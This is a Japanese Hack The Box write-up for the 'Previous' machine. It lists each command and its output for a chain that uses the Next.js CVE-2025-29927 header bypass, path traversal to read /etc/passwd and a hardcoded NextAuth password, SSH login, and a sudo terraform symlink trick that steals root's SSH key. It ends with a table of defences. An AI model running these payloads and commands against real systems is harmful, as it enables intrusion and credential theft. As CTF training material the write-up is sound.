Hack The BoxのWriteup(Previous)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Previous — 全実行コマンド・実行結果レポート
Nmap スキャン
22/SSH, 80/HTTP
previous.htb 発見
Next.js 15.2.2
CVE-2025-29927
ミドルウェア認可バイパス
/api/download LFI
ディレクトリトラバーサル
jeremy パスワード取得
NextAuthハードコード資格情報
SSH ログイン
user.txt ✓
sudo terraform apply
source_path 検証不備
シンボリックリンク悪用
root SSH鍵窃取
root.txt ✓

ポートスキャン(全ポート)

BASH
nmap -p- --min-rate 5000 -T4 10.129.242.162 -oN nmap/allports.txt
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Not shown: 65533 closed tcp ports (reset)
Nmap done: 1 IP address (1 host up) scanned
ℹ️
開放ポートは 22 (SSH)80 (HTTP) の 2 つのみ。攻撃面は Web アプリに集中している。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.242.162 -oN nmap/detailed.txt
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx/1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
ℹ️
重要: HTTP レスポンスが http://previous.htb/ へリダイレクト。/etc/hosts への登録が必要。
OpenSSH / nginx のバージョンから Ubuntu 22.04 LTS (jammy) と推定。全ポートの TTL 63 も Linux を裏付ける。

/etc/hosts への登録 & Web サイト確認

BASH
echo "10.129.242.162 previous.htb" | sudo tee -a /etc/hosts
curl -sI http://previous.htb/
RESULT
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
X-Powered-By: Next.js

previous.htb → 「PreviousJS」という架空 JavaScript フレームワークの紹介サイト
ℹ️
レスポンスヘッダーの X-Powered-By: Next.js と JS チャンク内の文字列から Next.js 15.2.2 と判明。

保護ページの確認 — /docs は認証必須

BASH
curl -I -s "http://previous.htb/docs"
RESULT
HTTP/1.1 307 Temporary Redirect
location: /api/auth/signin?callbackUrl=%2Fdocs
⚠️
/docs/api は Next.js のミドルウェアによる認証チェックで保護されている。 ログインフォームは失敗するため、この保護を迂回する脆弱性を探す。
PHASE 2

認可バイパス — CVE-2025-29927 (Next.js ミドルウェア)

脆弱性の仕組み

NOTE
CVE-2025-29927 — Next.js ミドルウェア認可バイパス

対象バージョン: Next.js >=1.11.4, <12.3.5 / <13.5.9 / <14.2.25 / <15.2.3 (本サイトは 15.2.2)
深刻度       : Critical

脆弱性の原理:
  Next.js のミドルウェア(多くの場合ここに認証チェックが実装される)は、
  内部的に "x-middleware-subrequest" ヘッダーを使って
  「既にミドルウェアを通過済みかどうか」を判定している。
  このヘッダーを外部からのリクエストに細工して含めることで、
  ミドルウェア自体をスキップさせ、認証チェックを完全に迂回できる。

  新しいバージョンほど内部の再帰チェック回数 (MAX_RECURSION_DEPTH) が
  引き上げられているため、"middleware" をコロン区切りで複数回
  連結して送ると確実にバイパスできる。

ヘッダー1回付与 — 効果なし(バージョン特定の手掛かり)

BASH
curl -I -s "http://previous.htb/docs" -H "x-middleware-subrequest: middleware"
RESULT
HTTP/1.1 307 Temporary Redirect
location: /api/auth/signin?callbackUrl=%2Fdocs    ← まだバイパスされない

ヘッダー5連結 — バイパス成功

BASH
curl -I -s "http://previous.htb/docs" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
RESULT
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Powered-By: Next.js
🚨
認可バイパス成功! 以後、全リクエストにこのヘッダーを付与することで認証必須ページへ到達できる。 ブラウザで操作する場合は Burp Suite の Match/Replace ルールで自動付与すると効率的。
PHASE 3

ダウンロードAPIのディレクトリトラバーサル(LFI)で資格情報窃取

サンプルダウンロード機能の発見

NOTE
バイパス後にアクセスできる /docs/examples ページに、サンプルコードの
ダウンロードリンクがある:

  /api/download?example=hello-world.ts

example パラメータにファイル名を直接渡している実装であり、
パストラバーサル(LFI: ローカルファイル読み取り)が疑われる。

/etc/passwd で LFI を確認

BASH
curl -s "http://previous.htb/api/download?example=../../../../../../etc/passwd" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
RESULT
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
LFI 成立確認! アプリの作業ディレクトリは /proc/self/environ の読み取りなどから /app と特定できる。

package.json でフレームワーク構成確認

BASH
curl -s "http://previous.htb/api/download?example=../../../package.json" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
RESULT
{
  "dependencies": {
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    ...
  }
}
ℹ️
next-auth パッケージの使用を確認。コンパイル済みの NextAuth 設定ハンドラを狙う。

コンパイル済み NextAuth ハンドラの取得

BASH
# 注意: curl は URL 中の [ ] を glob 構文として解釈するため、
# -g (--globoff) を付けないと [...nextauth].js を含むパスへの
# リクエストが空振りする(ローカルHTTPサーバーで実際に検証済み)
curl -sg "http://previous.htb/api/download?example=../../../.next/server/pages/api/auth/%5B...nextauth%5D.js" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -o nextauth_handler.js
BASH
npx js-beautify nextauth_handler.js | grep -A3 "authorize"
RESULT
authorize: async (e) => e?.username === "jeremy" &&
  e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes")
  ? { id: "1", name: "Jeremy" } : null
🚨
ハードコード資格情報を発見! 環境変数 ADMIN_SECRET 未設定時のデフォルト値として ソースコードに直書きされている。jeremy : MyNameIsJeremyAndILovePancakes
PHASE 4

SSH ログイン & user.txt 取得

パスワード再利用の確認 & SSH ログイン

BASH
# netexec で事前に有効性確認(任意)
netexec ssh previous.htb -u jeremy -p 'MyNameIsJeremyAndILovePancakes'

# SSH ログイン
sshpass -p 'MyNameIsJeremyAndILovePancakes' ssh jeremy@previous.htb
RESULT
[+] jeremy:MyNameIsJeremyAndILovePancakes
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
jeremy@previous:~$
SSH ログイン成功! Webアプリのログイン専用に見えた資格情報が、そのまま OS ユーザーのパスワードとして 再利用されていた。

user.txt 取得

BASH
jeremy@previous:~$ cat user.txt
RESULT
dc2758f2732521c845dd12f5a116bfee
user.txt — jeremy@previous
dc2758f2732521c845dd12f5a116bfee
ℹ️
フラグ値は HTB の仕様上インスタンスごとに乱数化されるため、実際の値は接続するインスタンスで異なる。上記は本組織のライブ検証時の実測値。
PHASE 5

権限昇格の下調べ — sudo 権限 & Terraform 構成

sudo -l で許可コマンド確認

BASH
jeremy@previous:~$ sudo -l
RESULT
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir=/opt/examples apply
⚠️
jeremyroot権限で Terraform の apply コマンドのみ実行を許可されている (引数は完全一致で -chdir=/opt/examples apply 以外は不可)。!env_reset のため $HOME など多くの環境変数は sudo 実行後も維持される点に注意。

.terraformrc — カスタムプロバイダの実体

BASH
jeremy@previous:~$ cat .terraformrc
RESULT
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/usr/local/go/bin"
  }
  direct {}
}
ℹ️
dev_overrides は Terraform の開発者向け機能で、「このプロバイダ名の実行ファイルは指定ローカルパスの バイナリをそのまま使う」という設定。/opt/examples/main.tf が参照する previous.htb/terraform/examples は実際には /usr/local/go/bin/terraform-provider-examples というローカルの実行ファイル。

main.tf — 変数バリデーションの不備

BASH
jeremy@previous:~$ cat /opt/examples/main.tf
RESULT
variable "source_path" {
  type    = string
  default = "/root/examples/hello-world.ts"
  validation {
    condition     = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

resource "examples_example" "example" {
  source_path = var.source_path
}
脆弱性の本質: strcontains() は部分文字列一致に過ぎない
チェックの意図実際の実装迂回可能性
root の examples ディレクトリ配下だけを許可したい 文字列中に "/root/examples/"どこかに含まれればOK /home/jeremy/root/examples/anything のような別パスでも通る
.. によるパス脱出を禁止したい 文字列中に ".." が含まれなければOK ✅ シンボリックリンクを使えば .. を一切使わず任意パスを指せる
🚨
さらにこのカスタムプロバイダ本体(Goバイナリ)は source_pathReadFile で読み、 /home/jeremy/docker/previous/public/examples/<ファイル名>(Web公開ディレクトリ)へ そのままコピーする。つまり「バリデーションを通過する文字列」を用意できれば、root権限のプロセスに 任意ファイルを読ませ、Web経由でダウンロードできることになる。
PHASE 6

シンボリックリンクでバリデーション回避 → root.txt

攻撃手法の概要

NOTE
Terraform カスタムプロバイダのパス検証バイパス攻撃

攻撃手順:
  1. /home/jeremy/root/examples/ というディレクトリを作成
     → "/root/examples/" を部分文字列として含み ".." も含まないため
       main.tf のバリデーションを通過する
  2. そこに /root/.ssh/id_rsa (rootのSSH秘密鍵) へのシンボリックリンクを作成
  3. 環境変数 TF_VAR_source_path でTerraform変数をコマンドライン引数なしに上書き
     (sudoers の一致判定は sudo に渡す引数のみで行われるため影響しない)
  4. sudo で許可されたコマンドをそのまま実行
  5. root権限のプロバイダがシンボリックリンクをたどって秘密鍵を読み、
     Web公開ディレクトリへコピーする
  6. Web経由で鍵をダウンロードし、root として SSH ログイン

罠のディレクトリ & シンボリックリンク作成

BASH
jeremy@previous:~$ mkdir -p /home/jeremy/root/examples
jeremy@previous:~$ ln -s /root/.ssh/id_rsa /home/jeremy/root/examples/id_rsa

環境変数で Terraform 変数を上書きし apply 実行

BASH
jeremy@previous:~$ export TF_VAR_source_path=/home/jeremy/root/examples/id_rsa
jeremy@previous:~$ echo yes | sudo /usr/bin/terraform -chdir=/opt/examples apply
RESULT
Terraform will perform the following actions:
  # examples_example.example will be created
  + resource "examples_example" "example" {
      + destination_path = "/home/jeremy/docker/previous/public/examples/id_rsa"
      + source_path      = "/home/jeremy/root/examples/id_rsa"
    }

examples_example.example: Creating...
examples_example.example: Creation complete after 0s

Apply complete! Resources: 1 added, 0 changed, 0 destroyed.
成功! root権限のTerraformプロバイダがシンボリックリンクをたどり、 /root/.ssh/id_rsa を Web公開ディレクトリへコピーした。
⚠️
sudo の対話パスワード入力に注意: SSH経由で1コマンドずつ実行するスクリプト的な運用では、 TTYなしセッションでパスワードキャッシュが効かないため sudo -S で標準入力からパスワードを渡す必要がある (printf '%s\n' <password> | sudo -S ...)。対話シェルで直接操作する場合は通常のプロンプト入力で問題ない。

Web経由で秘密鍵をダウンロード & root SSH ログイン

BASH
# 攻撃者マシン側
curl -s "http://previous.htb/examples/id_rsa" -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@previous.htb
RESULT
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)

root@previous:~#
root シェル取得成功! Terraform カスタムプロバイダのパス検証不備(部分文字列一致のみ、 シンボリックリンク未考慮)により、root の SSH 秘密鍵を窃取できた。

root.txt 取得

BASH
root@previous:~# cat root.txt
RESULT
c3749d004ea3052d4694bcfb1f0987f8
root.txt — root@previous
c3749d004ea3052d4694bcfb1f0987f8
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jeremy@previous
dc2758f2732521c845dd12f5a116bfee
root.txt — root@previous
c3749d004ea3052d4694bcfb1f0987f8

使用した CVE・脆弱性

CVE / 脆弱性 対象 影響 CVSS 利用方法
CVE-2025-29927 Next.js <12.3.5 / <13.5.9 / <14.2.25 / <15.2.3 ミドルウェア認可バイパス Critical x-middleware-subrequest ヘッダーを5回連結して送信し、認証ミドルウェアを完全スキップ
ディレクトリトラバーサル(LFI) /api/download エンドポイント 任意ファイル読み取り High example パラメータへの相対パス指定でコンパイル済み NextAuth ハンドラを読み出し、ハードコード資格情報を窃取
sudo Terraform
プロバイダ検証不備
/opt/examples/main.tf
(strcontains バリデーション)
権限昇格 → root High シンボリックリンク + TF_VAR_source_path 環境変数でパス検証をバイパスし、root SSH秘密鍵をWeb公開ディレクトリへコピー

認証情報まとめ

ユーザーパスワード / 鍵取得元用途
jeremy MyNameIsJeremyAndILovePancakes LFIで読み出したコンパイル済み NextAuth ハンドラ(ハードコード値) Webログイン / SSH ログイン(パスワード再利用)
root /root/.ssh/id_rsa(ed25519 秘密鍵) Terraformプロバイダのシンボリックリンク経由コピー SSH root ログイン

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1 偵察 nmap + /etc/hosts 設定 Port 22/80, previous.htb, Next.js 15.2.2
2 認可バイパス CVE-2025-29927 — x-middleware-subrequest ヘッダー5連結 /docs, /api への未認証アクセス
3 LFI /api/download?example=../ パストラバーサル (-g で []エスケープ回避) NextAuth ハンドラ → jeremy:MyNameIsJeremyAndILovePancakes
4 SSH ログイン パスワード再利用 user.txt 取得
5 権限調査 sudo -l / .terraformrc / main.tf 精査 sudo terraform apply 許可、source_path 検証不備を発見
6 シンボリックリンク準備 mkdir + ln -s /root/.ssh/id_rsa バリデーションを通過する罠パス
7 Terraform apply 実行 TF_VAR_source_path 環境変数上書き + sudo apply root鍵がWeb公開ディレクトリへコピー
8 root SSH ログイン curl でダウンロード → ssh -i id_rsa root@previous.htb root.txt 取得

学んだ教訓 & 防御策

問題点防御策
Next.js ミドルウェア認可バイパス (CVE-2025-29927) 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 以降へ速やかにアップデート。パッチ適用が難しい場合は x-middleware-subrequest ヘッダーを含む外部リクエストをリバースプロキシ(nginx等)で拒否する。
ファイルダウンロードAPIのパストラバーサル ユーザー入力のファイルパスをそのまま渡さない。許可リスト方式で提供可能なファイル名を限定するか、パス正規化後に想定ディレクトリ配下であることを厳密に検証する。
ソースコードへの認証情報ハードコード 環境変数や専用のシークレット管理サービス(HashiCorp Vault, AWS Secrets Manager 等)を利用し、コード側にはフォールバック値を残さない。
Webアプリとシステムアカウント間のパスワード再利用 サービスごとに個別の認証情報を発行する。
sudo で許可した Terraform のプラグイン機構(dev_overrides)がユーザー制御下のバイナリを直接実行できる sudoersでコマンド実行を許可する際は、そのコマンドが読み込む設定ファイル・環境変数・プラグイン機構まで含めて安全性を検証する。
パス検証が部分文字列一致(strcontains)のみでシンボリックリンクを考慮していない 正規化した絶対パスの前方一致とシンボリックリンク解決後の実体パスの両方をチェックする。
sudoers のデフォルト設定 !env_reset により多くの環境変数がsudo実行後も維持される 必要最小限の環境変数のみを引き継がせるよう env_keep を明示的に絞り込む。
HackTheBox: Previous | 完全攻略レポート